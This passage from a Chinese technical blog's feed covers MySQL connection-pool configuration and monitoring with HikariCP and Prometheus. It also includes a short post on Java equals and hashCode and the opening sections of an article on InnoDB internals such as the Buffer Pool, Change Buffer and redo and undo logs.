class="line"><span class="keyword">SELECT</span> </span><br><span class="line">    SUBSTRING_INDEX(host, <span class="string">&#x27;:&#x27;</span>, <span class="number">1</span>) <span class="keyword">AS</span> app_host,</span><br><span class="line">    <span class="built_in">COUNT</span>(<span class="operator">*</span>) <span class="keyword">AS</span> conn_count</span><br><span class="line"><span class="keyword">FROM</span> information_schema.processlist</span><br><span class="line"><span class="keyword">GROUP</span> <span class="keyword">BY</span> SUBSTRING_INDEX(host, <span class="string">&#x27;:&#x27;</span>, <span class="number">1</span>)</span><br><span class="line"><span class="keyword">ORDER</span> <span class="keyword">BY</span> conn_count <span class="keyword">DESC</span>;</span><br></pre></td></tr></table></figure><p><strong>优化方案</strong>：</p><ol><li>检查是否存在连接泄漏</li><li>优化慢SQL，减少连接占用时间</li><li>调整连接池大小</li><li>考虑增加MySQL从库分散读压力</li></ol><h2 id="七、SpringBoot连接池配置"><a href="#七、SpringBoot连接池配置" class="headerlink" title="七、SpringBoot连接池配置"></a>七、SpringBoot连接池配置</h2><p>#</p><h2 id="7-1-HikariCP（默认）"><a href="#7-1-HikariCP（默认）" class="headerlink" title="7.1 HikariCP（默认）"></a>7.1 HikariCP（默认）</h2><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="attr">spring:</span></span><br><span class="line">  <span class="attr">datasource:</span></span><br><span class="line">    <span class="attr">url:</span> <span class="string">jdbc:mysql://localhost:3306/mydb?useUnicode=true&amp;characterEncoding=utf8mb4&amp;useSSL=false&amp;serverTimezone=Asia/Shanghai</span></span><br><span class="line">    <span class="attr">username:</span> <span class="string">root</span></span><br><span class="line">    <span class="attr">password:</span> <span class="string">password</span></span><br><span class="line">    <span class="attr">driver-class-name:</span> <span class="string">com.mysql.cj.jdbc.Driver</span></span><br><span class="line">    <span class="attr">type:</span> <span class="string">com.zaxxer.hikari.HikariDataSource</span></span><br><span class="line">    <span class="attr">hikari:</span></span><br><span class="line">      <span class="attr">pool-name:</span> <span class="string">MyHikariPool</span></span><br><span class="line">      <span class="attr">minimum-idle:</span> <span class="number">10</span></span><br><span class="line">      <span class="attr">maximum-pool-size:</span> <span class="number">50</span></span><br><span class="line">      <span class="attr">idle-timeout:</span> <span class="number">600000</span></span><br><span class="line">      <span class="attr">max-lifetime:</span> <span class="number">1800000</span></span><br><span class="line">      <span class="attr">connection-timeout:</span> <span class="number">30000</span></span><br><span class="line">      <span class="attr">connection-test-query:</span> <span class="string">SELECT</span> <span class="number">1</span></span><br><span class="line">      <span class="attr">data-source-properties:</span></span><br><span class="line">        <span class="attr">cachePrepStmts:</span> <span class="literal">true</span></span><br><span class="line">        <span class="attr">prepStmtCacheSize:</span> <span class="number">250</span></span><br><span class="line">        <span class="attr">prepStmtCacheSqlLimit:</span> <span class="number">2048</span></span><br></pre></td></tr></table></figure><p>#</p><h2 id="7-2-多数据源配置"><a href="#7-2-多数据源配置" class="headerlink" title="7.2 多数据源配置"></a>7.2 多数据源配置</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Configuration</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">DataSourceConfig</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Primary</span></span><br><span class="line">    <span class="meta">@Bean(name = &quot;masterDataSource&quot;)</span></span><br><span class="line">    <span class="meta">@ConfigurationProperties(prefix = &quot;spring.datasource.master&quot;)</span></span><br><span class="line">    <span class="keyword">public</span> DataSource <span class="title function_">masterDataSource</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> DataSourceBuilder.create().type(HikariDataSource.class).build();</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Bean(name = &quot;slaveDataSource&quot;)</span></span><br><span class="line">    <span class="meta">@ConfigurationProperties(prefix = &quot;spring.datasource.slave&quot;)</span></span><br><span class="line">    <span class="keyword">public</span> DataSource <span class="title function_">slaveDataSource</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> DataSourceBuilder.create().type(HikariDataSource.class).build();</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="八、连接池监控"><a href="#八、连接池监控" class="headerlink" title="八、连接池监控"></a>八、连接池监控</h2><p>#</p><h2 id="8-1-HikariCP监控"><a href="#8-1-HikariCP监控" class="headerlink" title="8.1 HikariCP监控"></a>8.1 HikariCP监控</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Autowired</span></span><br><span class="line"><span class="keyword">private</span> HikariDataSource dataSource;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">printPoolStats</span><span class="params">()</span> &#123;</span><br><span class="line">    <span class="type">HikariPoolMXBean</span> <span class="variable">poolMXBean</span> <span class="operator">=</span> dataSource.getHikariPoolMXBean();</span><br><span class="line">    </span><br><span class="line">    System.out.println(<span class="string">&quot;活跃连接数: &quot;</span> + poolMXBean.getActiveConnections());</span><br><span class="line">    System.out.println(<span class="string">&quot;空闲连接数: &quot;</span> + poolMXBean.getIdleConnections());</span><br><span class="line">    System.out.println(<span class="string">&quot;等待连接数: &quot;</span> + poolMXBean.getPendingThreads());</span><br><span class="line">    System.out.println(<span class="string">&quot;总连接数: &quot;</span> + poolMXBean.getTotalConnections());</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="8-2-Micrometer集成（Prometheus）"><a href="#8-2-Micrometer集成（Prometheus）" class="headerlink" title="8.2 Micrometer集成（Prometheus）"></a>8.2 Micrometer集成（Prometheus）</h2><figure class="highlight xml"><table><tr><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">dependency</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">groupId</span>&gt;</span>io.micrometer<span class="tag">&lt;/<span class="name">groupId</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">artifactId</span>&gt;</span>micrometer-registry-prometheus<span class="tag">&lt;/<span class="name">artifactId</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">dependency</span>&gt;</span></span><br></pre></td></tr></table></figure><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Bean</span></span><br><span class="line"><span class="keyword">public</span> MeterRegistryCustomizer&lt;MeterRegistry&gt; <span class="title function_">metricsCustomizer</span><span class="params">()</span> &#123;</span><br><span class="line">    <span class="keyword">return</span> registry -&gt; registry.config().commonTags(<span class="string">&quot;application&quot;</span>, <span class="string">&quot;myapp&quot;</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="8-3-告警规则"><a href="#8-3-告警规则" class="headerlink" title="8.3 告警规则"></a>8.3 告警规则</h2><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="comment"># Prometheus告警规则</span></span><br><span class="line"><span class="attr">groups:</span></span><br><span class="line">  <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">connection_pool</span></span><br><span class="line">    <span class="attr">rules:</span></span><br><span class="line">      <span class="bullet">-</span> <span class="attr">alert:</span> <span class="string">ConnectionPoolHighUsage</span></span><br><span class="line">        <span class="attr">expr:</span> <span class="string">hikaricp_connections_active</span> <span class="string">/</span> <span class="string">hikaricp_connections_max</span> <span class="string">&gt;</span> <span class="number">0.8</span></span><br><span class="line">        <span class="attr">for:</span> <span class="string">5m</span></span><br><span class="line">        <span class="attr">labels:</span></span><br><span class="line">          <span class="attr">severity:</span> <span class="string">warning</span></span><br><span class="line">        <span class="attr">annotations:</span></span><br><span class="line">          <span class="attr">summary:</span> <span class="string">&quot;连接池使用率超过80%&quot;</span></span><br><span class="line">          </span><br><span class="line">      <span class="bullet">-</span> <span class="attr">alert:</span> <span class="string">ConnectionPoolWaitTimeHigh</span></span><br><span class="line">        <span class="attr">expr:</span> <span class="string">rate(hikaricp_connections_timeout_total[5m])</span> <span class="string">&gt;</span> <span class="number">0</span></span><br><span class="line">        <span class="attr">for:</span> <span class="string">1m</span></span><br><span class="line">        <span class="attr">labels:</span></span><br><span class="line">          <span class="attr">severity:</span> <span class="string">critical</span></span><br><span class="line">        <span class="attr">annotations:</span></span><br><span class="line">          <span class="attr">summary:</span> <span class="string">&quot;连接池出现获取连接超时&quot;</span></span><br></pre></td></tr></table></figure><h2 id="九、总结"><a href="#九、总结" class="headerlink" title="九、总结"></a>九、总结</h2><table><thead><tr><th>参数</th><th>HikariCP</th><th>Druid</th><th>说明</th></tr></thead><tbody><tr><td>最大连接数</td><td>maximumPoolSize</td><td>maxActive</td><td>根据服务器配置估算</td></tr><tr><td>最小空闲</td><td>minimumIdle</td><td>minIdle</td><td>保持一定空闲连接</td></tr><tr><td>连接超时</td><td>connectionTimeout</td><td>maxWait</td><td>获取连接等待时间</td></tr><tr><td>空闲回收</td><td>idleTimeout</td><td>minEvictableIdleTimeMillis</td><td>空闲连接回收时间</td></tr><tr><td>最大生命周期</td><td>maxLifetime</td><td>maxEvictableIdleTimeMillis</td><td>连接最大存活时间</td></tr></tbody></table><p>连接池优化的核心要点：</p><ol><li>选择合适的连接池（推荐HikariCP或Druid）</li><li>合理配置连接数（避免过大或过小）</li><li>配置连接检测和超时参数</li><li>监控连接池使用情况</li><li>及时处理连接泄漏问题</li></ol><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>索引设计的原则：最左前缀原则、避免索引列参与计算、选择合适的索引类型</p></li><li><p>SQL 优化的方法：使用 EXPLAIN 分析执行计划、避免 SELECT *、优化 JOIN</p></li><li><p>事务隔离级别的选择：根据业务需求选择合适的级别</p></li><li><p>常见的锁问题：行锁、表锁、死锁的处理</p></li></ol><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>MySQL 优化是一个持续的过程，需要结合业务特点和数据量来调整。在实际项目中，定期分析慢查询日志、优化索引、调整配置参数，都能提升数据库性能。</p>]]></content>
      
      
      <categories>
          
          <category> MySQL </category>
          
      </categories>
      
      
        <tags>
            
            <tag> MySQL </tag>
            
            <tag> 数据库 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Java 中 equals 和 hashCode 的正确理解</title>
      <link href="//java-zhong-equals-he-hashcode-de-zheng-que-li-jie/"/>
      <url>//java-zhong-equals-he-hashcode-de-zheng-que-li-jie/</url>
      
        <content type="html"><![CDATA[<h1 id="Java-中-equals-和-hashCode-的正确理解"><a href="#Java-中-equals-和-hashCode-的正确理解" class="headerlink" title="Java 中 equals 和 hashCode 的正确理解"></a>Java 中 equals 和 hashCode 的正确理解</h1><p>Java 里判断对象是否相等，不能只看 <code>==</code>。<code>==</code> 比较的是引用地址，<code>equals</code> 通常表示业务意义上的相等。只要重写 <code>equals</code>，一般也要重写 <code>hashCode</code>，否则对象放进 HashMap、HashSet 这类集合后会出现很难排查的问题。</p><h2 id="一个最小例子"><a href="#一个最小例子" class="headerlink" title="一个最小例子"></a>一个最小例子</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">User</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> Long id;</span><br><span class="line"></span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">public</span> <span class="type">boolean</span> <span class="title function_">equals</span><span class="params">(Object o)</span> &#123;</span><br><span class="line">        <span class="keyword">if</span> (<span class="built_in">this</span> == o) <span class="keyword">return</span> <span class="literal">true</span>;</span><br><span class="line">        <span class="keyword">if</span> (!(o <span class="keyword">instanceof</span> User)) <span class="keyword">return</span> <span class="literal">false</span>;</span><br><span class="line">        <span class="type">User</span> <span class="variable">user</span> <span class="operator">=</span> (User) o;</span><br><span class="line">        <span class="keyword">return</span> Objects.equals(id, user.id);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">public</span> <span class="type">int</span> <span class="title function_">hashCode</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> Objects.hash(id);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="为什么-hashCode-也要改"><a href="#为什么-hashCode-也要改" class="headerlink" title="为什么 hashCode 也要改"></a>为什么 hashCode 也要改</h2><p>HashSet 判断元素是否重复时，会先看 hashCode，再看 equals。如果两个对象 equals 相等，但 hashCode 不一样，它们可能会被放到不同桶里，集合就会认为它们不是同一个对象。</p><h2 id="验证方式"><a href="#验证方式" class="headerlink" title="验证方式"></a>验证方式</h2><p>写一个简单测试：创建两个 id 相同的 User，放进 HashSet，最后 size 应该是 1。</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">Set&lt;User&gt; users = <span class="keyword">new</span> <span class="title class_">HashSet</span>&lt;&gt;();</span><br><span class="line">users.add(<span class="keyword">new</span> <span class="title class_">User</span>(<span class="number">1L</span>));</span><br><span class="line">users.add(<span class="keyword">new</span> <span class="title class_">User</span>(<span class="number">1L</span>));</span><br><span class="line">System.out.println(users.size()); <span class="comment">// 期望输出 1</span></span><br></pre></td></tr></table></figure>]]></content>
      
      
      <categories>
          
          <category> Java基础 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 学习笔记 </tag>
            
            <tag> JAVA </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>MySQL存储引擎InnoDB详解</title>
      <link href="//mysql-innodb-storage-engine/"/>
      <url>//mysql-innodb-storage-engine/</url>
      
        <content type="html"><![CDATA[<h1 id="MySQL存储引擎InnoDB详解"><a href="#MySQL存储引擎InnoDB详解" class="headerlink" title="MySQL存储引擎InnoDB详解"></a>MySQL存储引擎InnoDB详解</h1><p>MySQL 是业务系统中最常见的数据库，但用好它并不容易。索引设计、SQL 优化、事务处理都是日常开发中需要关注的点。本文从实际场景出发，讲常见问题和解决思路。</p><h2 id="一、InnoDB架构概览"><a href="#一、InnoDB架构概览" class="headerlink" title="一、InnoDB架构概览"></a>一、InnoDB架构概览</h2><p>#</p><h2 id="1-1-内存结构"><a href="#1-1-内存结构" class="headerlink" title="1.1 内存结构"></a>1.1 内存结构</h2><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">┌─────────────────────────────────────────────────┐</span><br><span class="line">│                  Buffer Pool                     │</span><br><span class="line">│  ┌─────────────┐  ┌─────────────┐              │</span><br><span class="line">│  │ Data Pages  │  │ Index Pages │              │</span><br><span class="line">│  └─────────────┘  └─────────────┘              │</span><br><span class="line">│  ┌─────────────┐  ┌─────────────┐              │</span><br><span class="line">│  │ Insert Buf  │  │ Adaptive Hash│              │</span><br><span class="line">│  │ (Change Buf)│  │   Index      │              │</span><br><span class="line">│  └─────────────┘  └─────────────┘              │</span><br><span class="line">│  ┌─────────────┐  ┌─────────────┐              │</span><br><span class="line">│  │  Lock Info  │  │ Data Dict    │              │</span><br><span class="line">│  └─────────────┘  └─────────────┘              │</span><br><span class="line">└─────────────────────────────────────────────────┘</span><br><span class="line">┌─────────────────────────────────────────────────┐</span><br><span class="line">│               Redo Log Buffer                    │</span><br><span class="line">└─────────────────────────────────────────────────┘</span><br></pre></td></tr></table></figure><p>#</p><h2 id="1-2-磁盘结构"><a href="#1-2-磁盘结构" class="headerlink" title="1.2 磁盘结构"></a>1.2 磁盘结构</h2><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">┌─────────────────────────────────────────────────┐</span><br><span class="line">│               System Tablespace                  │</span><br><span class="line">│  (ibdata1: 数据字典、Undo Log、双写缓冲)          │</span><br><span class="line">└─────────────────────────────────────────────────┘</span><br><span class="line">┌─────────────────────────────────────────────────┐</span><br><span class="line">│             File-Per-Table Tablespace            │</span><br><span class="line">│  (user.ibd: 表数据、索引)                         │</span><br><span class="line">└─────────────────────────────────────────────────┘</span><br><span class="line">┌─────────────────────────────────────────────────┐</span><br><span class="line">│               Redo Log Files                     │</span><br><span class="line">│  (ib_logfile0, ib_logfile1)                      │</span><br><span class="line">└─────────────────────────────────────────────────┘</span><br><span class="line">┌─────────────────────────────────────────────────┐</span><br><span class="line">│               Undo Tablespace                    │</span><br><span class="line">│  (undo_001, undo_002, MySQL 8.0+)               │</span><br><span class="line">└─────────────────────────────────────────────────┘</span><br></pre></td></tr></table></figure><h2 id="二、Buffer-Pool"><a href="#二、Buffer-Pool" class="headerlink" title="二、Buffer Pool"></a>二、Buffer Pool</h2><p>#</p><h2 id="2-1-什么是Buffer-Pool"><a href="#2-1-什么是Buffer-Pool" class="headerlink" title="2.1 什么是Buffer Pool"></a>2.1 什么是Buffer Pool</h2><p>InnoDB在内存中缓存数据页和索引页的区域。所有数据操作先修改Buffer Pool中的页，再异步刷盘。</p><figure class="highlight ini"><table><tr><td class="code"><pre><span class="line"><span class="section">[mysqld]</span></span><br><span class="line"><span class="comment"># Buffer Pool大小（建议物理内存的50%-75%）</span></span><br><span class="line"><span class="attr">innodb_buffer_pool_size</span> = <span class="number">4</span>G</span><br><span class="line"></span><br><span class="line"><span class="comment"># Buffer Pool实例数（每个实例至少1GB）</span></span><br><span class="line"><span class="attr">innodb_buffer_pool_instances</span> = <span class="number">4</span></span><br></pre></td></tr></table></figure><p>#</p><h2 id="2-2-页管理"><a href="#2-2-页管理" class="headerlink" title="2.2 页管理"></a>2.2 页管理</h2><p><strong>页类型</strong>：</p><ul><li>数据页（Data Page）</li><li>索引页（Index Page）</li><li>Undo页</li><li>Insert Buffer页</li><li>系统页</li></ul><p><strong>页状态</strong>：</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">Free List → LRU List → Flush List</span><br><span class="line">  空闲页    使用中的页    待刷盘页</span><br></pre></td></tr></table></figure><p>#</p><h2 id="2-3-LRU算法"><a href="#2-3-LRU算法" class="headerlink" title="2.3 LRU算法"></a>2.3 LRU算法</h2><p>InnoDB使用改进的LRU（Least Recently Used）算法：</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">LRU List（默认划分为5/8和3/8）：</span><br><span class="line"></span><br><span class="line">新生代（young sublist，5/8）     老生代（old sublist，3/8）</span><br><span class="line">┌─────────────────────┐  ┌─────────────────────┐</span><br><span class="line">│ 热数据              │  │ 冷数据              │</span><br><span class="line">│ 经常访问            │  │ 首次访问            │</span><br><span class="line">│ mid point           │  │                     │</span><br><span class="line">└─────────────────────┘  └─────────────────────┘</span><br></pre></td></tr></table></figure><p><strong>midpoint insertion strategy</strong>：</p><ul><li>新页不放到LRU头部，而是放到midpoint（默认距尾部37%处）</li><li>避免大扫描（如全表扫描）冲掉热数据</li><li>页在old区停留超过innodb_old_blocks_time（默认1秒）后被访问，才移到young区</li></ul><p>#</p><h2 id="2-4-预读机制"><a href="#2-4-预读机制" class="headerlink" title="2.4 预读机制"></a>2.4 预读机制</h2><p><strong>线性预读</strong>：顺序访问 extent 的56个页，预读下一个extent</p><p><strong>随机预读</strong>：同一个extent的13个页被访问，预读整个extent</p><figure class="highlight ini"><table><tr><td class="code"><pre><span class="line"><span class="attr">innodb_read_ahead_threshold</span> = <span class="number">56</span>  <span class="comment"># 线性预读阈值</span></span><br><span class="line"><span class="attr">innodb_random_read_ahead</span> = <span class="literal">OFF</span>    <span class="comment"># 随机预读开关</span></span><br></pre></td></tr></table></figure><p>#</p><h2 id="2-5-Buffer-Pool状态查看"><a href="#2-5-Buffer-Pool状态查看" class="headerlink" title="2.5 Buffer Pool状态查看"></a>2.5 Buffer Pool状态查看</h2><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="comment">-- 查看Buffer Pool状态</span></span><br><span class="line"><span class="keyword">SHOW</span> ENGINE INNODB STATUS;</span><br><span class="line"></span><br><span class="line"><span class="comment">-- 查看Buffer Pool配置和命中情况</span></span><br><span class="line"><span class="keyword">SHOW</span> STATUS <span class="keyword">LIKE</span> <span class="string">&#x27;Innodb_buffer_pool%&#x27;</span>;</span><br><span class="line"></span><br><span class="line"><span class="comment">-- 关键指标：</span></span><br><span class="line"><span class="comment">-- Innodb_buffer_pool_reads: 从磁盘读取的页数</span></span><br><span class="line"><span class="comment">-- Innodb_buffer_pool_read_requests: 逻辑读取请求数</span></span><br><span class="line"><span class="comment">-- 命中率 = 1 - reads / read_requests</span></span><br><span class="line"></span><br><span class="line"><span class="comment">-- MySQL 8.0 查看每个Buffer Pool实例状态</span></span><br><span class="line"><span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> performance_schema.innodb_buffer_pool_stats;</span><br></pre></td></tr></table></figure><h2 id="三、Change-Buffer"><a href="#三、Change-Buffer" class="headerlink" title="三、Change Buffer"></a>三、Change Buffer</h2><p>#</p><h2 id="3-1-什么是Change-Buffer"><a href="#3-1-什么是Change-Buffer" class="headerlink" title="3.1 什么是Change Buffer"></a>3.1 什么是Change Buffer</h2><p>当更新二级索引页时，如果该页不在Buffer Pool中，不立即读入磁盘页，而是将修改缓存到Change Buffer中。后续读该页时合并（Merge）。</p><p><strong>适用</strong>：</p><ul><li>二级索引的INSERT、UPDATE、DELETE</li><li>非唯一索引（唯一索引需要校验唯一性，必须读页）</li></ul><p><strong>不适用</strong>：</p><ul><li>唯一索引</li><li>主键索引（聚簇索引）</li><li>数据页</li></ul><p>#</p><h2 id="3-2-Change-Buffer的优势"><a href="#3-2-Change-Buffer的优势" class="headerlink" title="3.2 Change Buffer的优势"></a>3.2 Change Buffer的优势</h2><ul><li>减少随机IO：避免频繁读入不常用的索引页</li><li>批量合并：将多个修改合并到一次IO</li><li>提升写性能：写密集型场景效果显著</li></ul><p>#</p><h2 id="3-3-配置"><a href="#3-3-配置" class="headerlink" title="3.3 配置"></a>3.3 配置</h2><figure class="highlight ini"><table><tr><td class="code"><pre><span class="line"><span class="comment"># 开启Change Buffer（默认开启）</span></span><br><span class="line"><span class="attr">innodb_change_buffering</span> = all</span><br><span class="line"><span class="comment"># 可选值：inserts, deletes, changes, purges, all, none</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># Change Buffer占Buffer Pool的比例（默认25%）</span></span><br><span class="line"><span class="attr">innodb_change_buffer_max_size</span> = <span class="number">25</span></span><br></pre></td></tr></table></figure><p>#</p><h2 id="3-4-监控"><a href="#3-4-监控" class="headerlink" title="3.4 监控"></a>3.4 监控</h2><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="comment">-- 查看Change Buffer使用情况</span></span><br><span class="line"><span class="keyword">SHOW</span> ENGINE INNODB STATUS;</span><br><span class="line"></span><br><span class="line"><span class="comment">-- 相关输出：</span></span><br><span class="line"><span class="comment">-- INSERT BUFFER AND ADAPTIVE HASH INDEX</span></span><br><span class="line"><span class="comment">-- Ibuf: size 1, free list len 0, seg size 2, 0 merges</span></span><br><span class="line"><span class="comment">-- Ibuf: size = 缓存的页数</span></span><br><span class="line"><span class="comment">-- merges = 合并次数</span></span><br></pre></td></tr></table></figure><h2 id="四、Adaptive-Hash-Index"><a href="#四、Adaptive-Hash-Index" class="headerlink" title="四、Adaptive Hash Index"></a>四、Adaptive Hash Index</h2><p>#</p><h2 id="4-1-原理"><a href="#4-1-原理" class="headerlink" title="4.1 原理"></a>4.1 原理</h2><p>InnoDB自动为频繁访问的索引页建立哈希索引，加速等值查询：</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">B+树查找：需要遍历树，约3-4次比较</span><br><span class="line">哈希查找：O(1)直接定位</span><br></pre></td></tr></table></figure><p>#</p><h2 id="4-2-自动构建"><a href="#4-2-自动构建" class="headerlink" title="4.2 自动构建"></a>4.2 自动构建</h2><ul><li>自动为Buffer Pool中的热点页建立</li><li>不需要DBA干预</li><li>只适用于等值查询（=、IN）</li></ul><p>#</p><h2 id="4-3-配置"><a href="#4-3-配置" class="headerlink" title="4.3 配置"></a>4.3 配置</h2><figure class="highlight ini"><table><tr><td class="code"><pre><span class="line"><span class="comment"># 开启AHI（默认开启）</span></span><br><span class="line"><span class="attr">innodb_adaptive_hash_index</span> = <span class="literal">ON</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># AHI分区数（减少锁竞争）</span></span><br><span class="line"><span class="attr">innodb_adaptive_hash_index_parts</span> = <span class="number">8</span></span><br></pre></td></tr></table></figure><p>#</p><h2 id="4-4-监控"><a href="#4-4-监控" class="headerlink" title="4.4 监控"></a>4.4 监控</h2><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="keyword">SHOW</span> ENGINE INNODB STATUS;</span><br><span class="line"></span><br><span class="line"><span class="comment">-- Hash table size: 内存中的AHI大小</span></span><br><span class="line"><span class="comment">-- Hash searches/s: 使用AHI的查询次数</span></span><br><span class="line"><span class="comment">-- Non-hash searches/s: 未使用AHI的查询次数</span></span><br><span class="line"></span><br><span class="line"><span class="comment">-- AHI使用率 = hash searches / (hash + non-hash searches)</span></span><br></pre></td></tr></table></figure><p><strong>注意</strong>：</p><ul><li>大量并发写时，AHI可能成为瓶颈（锁竞争）</li><li>可临时关闭：<code>SET GLOBAL innodb_adaptive_hash_index = OFF</code></li></ul><h2 id="五、Redo-Log"><a href="#五、Redo-Log" class="headerlink" title="五、Redo Log"></a>五、Redo Log</h2><p>#</p><h2 id="5-1-为什么需要Redo-Log"><a href="#5-1-为什么需要Redo-Log" class="headerlink" title="5.1 为什么需要Redo Log"></a>5.1 为什么需要Redo Log</h2><p>保证事务的持久性（Durability）。数据修改先写Redo Log（顺序写），再异步刷数据页（随机写）。</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">写入流程：</span><br><span class="line">1. 修改Buffer Pool中的数据页</span><br><span class="line">2. 生成Redo Log记录</span><br><span class="line">3. 写入Redo Log Buffer</span><br><span class="line">4. 事务提交时刷Redo Log到磁盘</span><br><span class="line">5. 后台线程异步刷脏页</span><br><span class="line"></span><br><span class="line">崩溃恢复：</span><br><span class="line">- 重启时根据Redo Log恢复未刷盘的数据</span><br><span class="line">- 保证已提交事务不丢失</span><br></pre></td></tr></table></figure><p>#</p><h2 id="5-2-Redo-Log结构"><a href="#5-2-Redo-Log结构" class="headerlink" title="5.2 Redo Log结构"></a>5.2 Redo Log结构</h2><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">Redo Log File（循环使用）：</span><br><span class="line">┌─────────────────────────────────────────────────┐</span><br><span class="line">│  LSN 1000    │  LSN 2000    │  LSN 3000        │</span><br><span class="line">│  ┌────────┐  │  ┌────────┐  │  ┌────────┐     │</span><br><span class="line">│  │Record 1│  │  │Record 2│  │  │Record 3│     │</span><br><span class="line">│  └────────┘  │  └────────┘  │  └────────┘     │</span><br><span class="line">└─────────────────────────────────────────────────┘</span><br><span class="line">      ▲                                   │</span><br><span class="line">      └────────── checkpint LSN ──────────┘</span><br><span class="line"></span><br><span class="line">- checkpoint之前的日志：已刷盘，可覆盖</span><br><span class="line">- checkpoint之后的日志：未刷盘，需保留</span><br></pre></td></tr></table></figure><p>#</p><h2 id="5-3-配置"><a href="#5-3-配置" class="headerlink" title="5.3 配置"></a>5.3 配置</h2><figure class="highlight ini"><table><tr><td class="code"><pre><span class="line"><span class="comment"># Redo Log文件大小（默认48MB，建议1-2GB）</span></span><br><span class="line"><span class="attr">innodb_log_file_size</span> = <span class="number">1</span>G</span><br><span class="line"></span><br><span class="line"><span class="comment"># Redo Log文件数量</span></span><br><span class="line"><span class="attr">innodb_log_files_in_group</span> = <span class="number">3</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># Redo Log缓冲区（默认16MB）</span></span><br><span class="line"><span class="attr">innodb_log_buffer_size</span> = <span class="number">64</span>M</span><br><span class="line"></span><br><span class="line"><span class="comment"># 提交时刷盘策略</span></span><br><span class="line"><span class="comment"># 0: 每秒刷盘</span></span><br><span class="line"><span class="comment"># 1: 每次事务刷盘（最安全）</span></span><br><span class="line"><span class="comment"># 2: 写OS缓存，每秒刷盘</span></span><br><span class="line"><span class="attr">innodb_flush_log_at_trx_commit</span> = <span class="number">1</span></span><br></pre></td></tr></table></figure><p>#</p><h2 id="5-4-Redo-Log刷盘策略对比"><a href="#5-4-Redo-Log刷盘策略对比" class="headerlink" title="5.4 Redo Log刷盘策略对比"></a>5.4 Redo Log刷盘策略对比</h2><table><thead><tr><th>值</th><th>安全性</th><th>性能</th><th>说明</th></tr></thead><tbody><tr><td>0</td><td>低</td><td>最高</td><td>每秒刷盘，崩溃可能丢失1秒数据</td></tr><tr><td>1</td><td>高</td><td>低</td><td>每次事务fsync，最安全</td></tr><tr><td>2</td><td>中</td><td>高</td><td>写OS缓存，MySQL崩溃不丢，OS崩溃可能丢</td></tr></tbody></table><p><strong>建议</strong>：</p><ul><li>金融系统：= 1</li><li>一般系统：= 2（配合UPS和RAID电池）</li></ul><h2 id="六、Undo-Log"><a href="#六、Undo-Log" class="headerlink" title="六、Undo Log"></a>六、Undo Log</h2><p>#</p><h2 id="6-1-作用"><a href="#6-1-作用" class="headerlink" title="6.1 作用"></a>6.1 作用</h2><ul><li><strong>事务回滚</strong>：记录数据修改前的状态</li><li><strong>MVCC</strong>：提供历史版本数据</li><li><strong>崩溃恢复</strong>：协助Redo Log恢复</li></ul><p>#</p><h2 id="6-2-存储位置"><a href="#6-2-存储位置" class="headerlink" title="6.2 存储位置"></a>6.2 存储位置</h2><p>MySQL 5.7：系统表空间（ibdata1）<br>MySQL 8.0：独立的Undo Tablespace</p><figure class="highlight ini"><table><tr><td class="code"><pre><span class="line"><span class="comment"># MySQL 8.0 Undo Tablespace配置</span></span><br><span class="line"><span class="attr">innodb_undo_tablespaces</span> = <span class="number">2</span>  <span class="comment"># Undo表空间数量</span></span><br><span class="line"><span class="attr">innodb_max_undo_log_size</span> = <span class="number">1</span>G <span class="comment"># 